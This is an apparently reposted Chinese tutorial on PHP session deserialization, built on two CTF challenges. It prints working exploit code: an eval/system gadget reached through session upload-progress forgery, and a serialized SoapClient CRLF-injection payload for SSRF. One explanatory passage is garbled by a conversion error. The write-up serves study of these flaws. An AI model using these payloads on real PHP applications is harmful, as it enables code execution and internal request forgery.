PHP反序列化入门之session反序列化

客官°小女子只卖身不卖艺 2022-01-16 21:15 229阅读 0赞

原文地址：[https://mochazz.github.io/2019/01/29/PHP反序列化入门之session反序列化/][https_mochazz.github.io_2019_01_29_PHP_session]

## PHP的session机制 ##

在学习 **session** 反序列化之前，我们需要了解这几个参数的含义。

<table> 
 <thead> 
  <tr> 
   <th>Directive</th> 
   <th>含义</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>session.save_handler</td> 
   <td>session保存形式。默认为files</td> 
  </tr> 
  <tr> 
   <td>session.save_path</td> 
   <td>session保存路径。</td> 
  </tr> 
  <tr> 
   <td>session.serialize_handler</td> 
   <td>session序列化存储所用处理器。默认为php。</td> 
  </tr> 
  <tr> 
   <td>session.upload_progress.cleanup</td> 
   <td>一旦读取了所有POST数据，立即清除进度信息。默认开启</td> 
  </tr> 
  <tr> 
   <td>session.upload_progress.enabled</td> 
   <td>将上传文件的进度信息存在session中。默认开启。</td> 
  </tr> 
 </tbody> 
</table>

我们先通过一个样例代码，看看3种不同的 **session** 序列化处理器处理 **session** 的情况。

<?php
        session_start();
        $_SESSION['name'] = 'mochazz';
        ?>

当 **session.serialize\_handler=php** 时，session文件内容为： `name|s:7:"mochazz";`

当 **session.serialize\_handler=php\_serialize** 时，session文件为： `a:1:{s:4:"name";s:7:"mochazz";}`

当 **session.serialize\_handler=php\_binary** 时，session文件内容为： `二进制字符names:7:"mochazz";`

再来看看 **session.upload\_progress.enabled** 。

> 当 [session.upload\_progress.enabled][session.upload_progress.enabled] INI 选项开启时，PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助，但在文件上传时应用可以发送一个POST请求到终端（例如通过XHR）来检查这个状态。
> 
> 当一个上传在处理中，同时POST一个与INI中设置的[session.upload\_progress.name][session.upload_progress.name]同名变量时，上传进度可以在[ S E S S I O N \] ( h t t p : / / p h p . n e t / m a n u a l / z h / r e s e r v e d . v a r i a b l e s . s e s s i o n . p h p ) 中 获 得 。 当 P H P 检 测 到 这 种 P O S T 请 求 时 ， 它 会 在 \[ \_SESSION\](http://php.net/manual/zh/reserved.variables.session.php)中获得。 当PHP检测到这种POST请求时，它会在\[ SESSION\](http://php.net/manual/zh/reserved.variables.session.php)中获得。当PHP检测到这种POST请求时，它会在\[\_SESSION][S E S S I O N _ _ h t t p _ _ _ p h p . n e t _ m a n u a l _ z h _ r e s e r v e d . v a r i a b l e s . s e s s i o n . p h p _ _ _ _ _ _ P H P _ _ _ _ _ P O S T _ _ _ _ _ _ _ _ _SESSION_http_php.net_manual_zh_reserved.variables.session.php_ _PHP_POST_ SESSION_http_php.net_manual_zh_reserved.variables.session.php_PHP_POST_SESSION]中添加一组数据, 索引是[session.upload\_progress.prefix][session.upload_progress.prefix] 与 [session.upload\_progress.name][session.upload_progress.name]连接在一起的值。

通常这些键值可以通过读取INI设置来获得，例如：

<?php
        $key = ini_get("session.upload_progress.prefix") . ini_get("session.upload-progress.name");
        var_dump($_SESSION[$key]);
        ?>

更多细节请参考：[http://php.net/manual/zh/session.upload-progress.php][http_php.net_manual_zh_session.upload-progress.php]

如果想看上面说的这个存在 **$\_SESSION** 数组中的信息，我们需要先将 **session.upload\_progress.cleanup** 设置成 **Off** 。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70]

接下来我们通过两个CTF题目来学习 **session** 反序列化问题。

## 例题一 ##

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 1]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 2]

可以看到题目环境中的 **session.serialize\_handler** 默认为 **php\_serialize** 处理器，而程序使用的却是 **php** 处理器，而且开头 **第4行** 使用了 **session\_start()** 函数，那么我们就可以利用 **session.upload\_progress.enabled** 来伪造 **session** ，然后在 **PHP** 反序列化 **session** 文件时，还原 **OowoO** 类，最终执行 **eval** 函数。

<?php
        ini_set('session.serialize_handler', 'php');
        session_start();
        class OowoO{
        
            public $mdzz;
            function __construct(){
        
                $this->mdzz = 'echo system("pwd");';
            }
            function __destruct(){
        
                eval($this->mdzz);
            }
        }
        $_SESSION['payload'] = new OowoO();
        // 生成session文件内容为：
        // payload|O:5:"OowoO":1:{s:4:"mdzz";s:19:"echo system("pwd");";}
        ?>

我们可以通过如下表单，抓包修改 **filename** 为 **payload** 即可。

<form action="http://localhost/demo.php" method="POST" enctype="multipart/form-data">
            <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
            <input type="file" name="file" />
            <input type="submit" />
        </form>

最终会生成一个 **session** 文件， **php** 在获取 **session** 的时候，会按照 **session.serialize\_handler=php** 规则来处理 **session** 文件，将 **|** 符号之前的所有内容认为是键名，之后的内容则用于反序列化。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 3]

在程序运行结束时，调用 **OowoO** 类的 **\_\_destruct** 方法，最终触发代码执行操作。

## 例题二 ##

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 4]

在 **index.php** 文件中，看到 **第5行** 的 **call\_user\_func** 方法，其参数二的位置固定为 **$\_POST** 数组，我们很容易便想到利用 **extract** 函数进行变量覆盖，以便配合后续利用。 **第6-8** 行代码又存在 **session** 伪造漏洞，我们可以考虑是否可以包含 **session** 文件或者利用 **session** 反序列化漏洞。 **第12行** 的 **call\_user\_func** 函数的第一个参数虽然被固定为 **implode** ，但是我们可以通过前面的 **extract** 函数进行变量覆盖（注意：在PHP7.x比较新的版本中，已经不允许动态调用 **extract** 函数了）。而 **flag.php** 文件中告诉我们，只有 **127.0.0.1** 请求该页面才能得到 **flag** ，所以这明显又是考察 **SSRF** 漏洞，这里我们便可以利用 **SoapClient** 类的 **\_\_call** 方法来进行 **SSRF** 。

下面我们通过一个例子，来看看 **SoapClient** 类的 **\_\_call** 方法如何使用。

<?php
        $target = "http://localhost:2333";
        $options = array(
            "location" => $target,
            "user_agent" => "mochazz\r\nCookie: PHPSESSID=123123\r\n",
            "uri" => "demo"
        );
        $attack = new SoapClient(null,$options);
        $payload = serialize($attack);
        unserialize($payload)->ff(); // 调用一个不存在的ff方法，会触发__call方法，发出HTTP请求
        ?>

由于 **PHP** 中的原生 **SoapClient** 类存在 **CRLF** 漏洞，所以我们可以伪造任意 **header** 信息，上面的请求结果如下：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 5]

而 **call\_user\_func** 函数中的参数可以是一个数组，数组中第一个元素为类名，第二个元素为类方法，例如：

<?php
        class myclass {
        
            static function say_hello()
            {
        
                echo "Hello!\n";
            }
        }
        $classname = "myclass";
        call_user_func(array($classname, 'say_hello'));
        call_user_func($classname .'::say_hello'); // As of 5.2.3
        $myobject = new myclass();
        call_user_func(array($myobject, 'say_hello'));
        ?>

这样题目中的 **call\_user\_func( b , b, b,a)** 就可以变成 **call\_user\_func(‘call\_user\_func’,array(‘SoapClient’,’welcome\_to\_the\_lctf2018’))** ，即调用 **SoapClient** 类不存在的 **welcome\_to\_the\_lctf2018** 方法，从而触发 **\_\_call** 方法发起 **soap** 请求进行 **SSRF** 。

这里还要提及一点的是 **session\_start** 函数从 **PHP7** 开始允许通过参数来设置 **session** 运行时配置。例如：

session_start(array('serialize_handler' => 'php_serialize'))

将会设置 session.serialize\_handler=php\_serialize 。

最终我们的利用方法如下：

<?php
        $target = "http://127.0.0.1/flag.php";
        $post_data = 'flag=demo';
        $ua = array(
            'mochazz',
            'Content-Type: application/x-www-form-urlencoded',
            'X-Forwarded-For: 127.0.0.1',
            'Cookie: PHPSESSID=mochazz'
        );
        $options = array(
            'location' => $target,
            'user_agent' => join("\r\n",$ua) . "\r\nContent-Length: " . (string) strlen($post_data). "\r\n\r\n" . $post_data,
            'uri'=>'hello'
        );
        $serialize_string = serialize(new SoapClient(null,$options));
        echo urlencode($serialize_string);
        ?>

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 6]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 7]

最后我们再将 **PHPSESSID** 修改成 **mochazz** 即可获得 **flag** ，整个攻击的流程图如下：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 8]

例二题目环境可以从 [这里][Link 1] 下载。

[https_mochazz.github.io_2019_01_29_PHP_session]: https://mochazz.github.io/2019/01/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bsession%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
[session.upload_progress.enabled]: http://php.net/manual/zh/session.configuration.php#ini.session.upload-progress.enabled
[session.upload_progress.name]: http://php.net/manual/zh/session.configuration.php#ini.session.upload-progress.name
[S E S S I O N _ _ h t t p _ _ _ p h p . n e t _ m a n u a l _ z h _ r e s e r v e d . v a r i a b l e s . s e s s i o n . p h p _ _ _ _ _ _ P H P _ _ _ _ _ P O S T _ _ _ _ _ _ _ _ _SESSION_http_php.net_manual_zh_reserved.variables.session.php_ _PHP_POST_ SESSION_http_php.net_manual_zh_reserved.variables.session.php_PHP_POST_SESSION]: http://php.net/manual/zh/reserved.variables.session.php
[session.upload_progress.prefix]: http://php.net/manual/zh/session.configuration.php#ini.session.upload-progress.prefix
[http_php.net_manual_zh_session.upload-progress.php]: http://php.net/manual/zh/session.upload-progress.php
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70]: /images/20220117/46ad224afbe84cea815b18470a7b98e7.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 1]: /images/20220117/993e7845a31a42e191a3bc6e41704b65.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 2]: /images/20220117/732714b59def449c8e80803ca589c73e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 3]: /images/20220117/7a8f31fdc66d49e5b958e3599ecb99cc.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 4]: /images/20220117/9a32b29e9d4745abae6f857e0629720f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 5]: /images/20220117/d2363184489b4ed59add3906e1a3b92f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 6]: /images/20220117/492c11a833cf4d68be971531c8a2199f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 7]: /images/20220117/1671aad729e44e73843319630a8cae37.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 8]: /images/20220117/f055324337a7427795770f0b61787f8e.png
[Link 1]: https://github.com/CTFTraining/lctf_2018_bestphp_s_revenge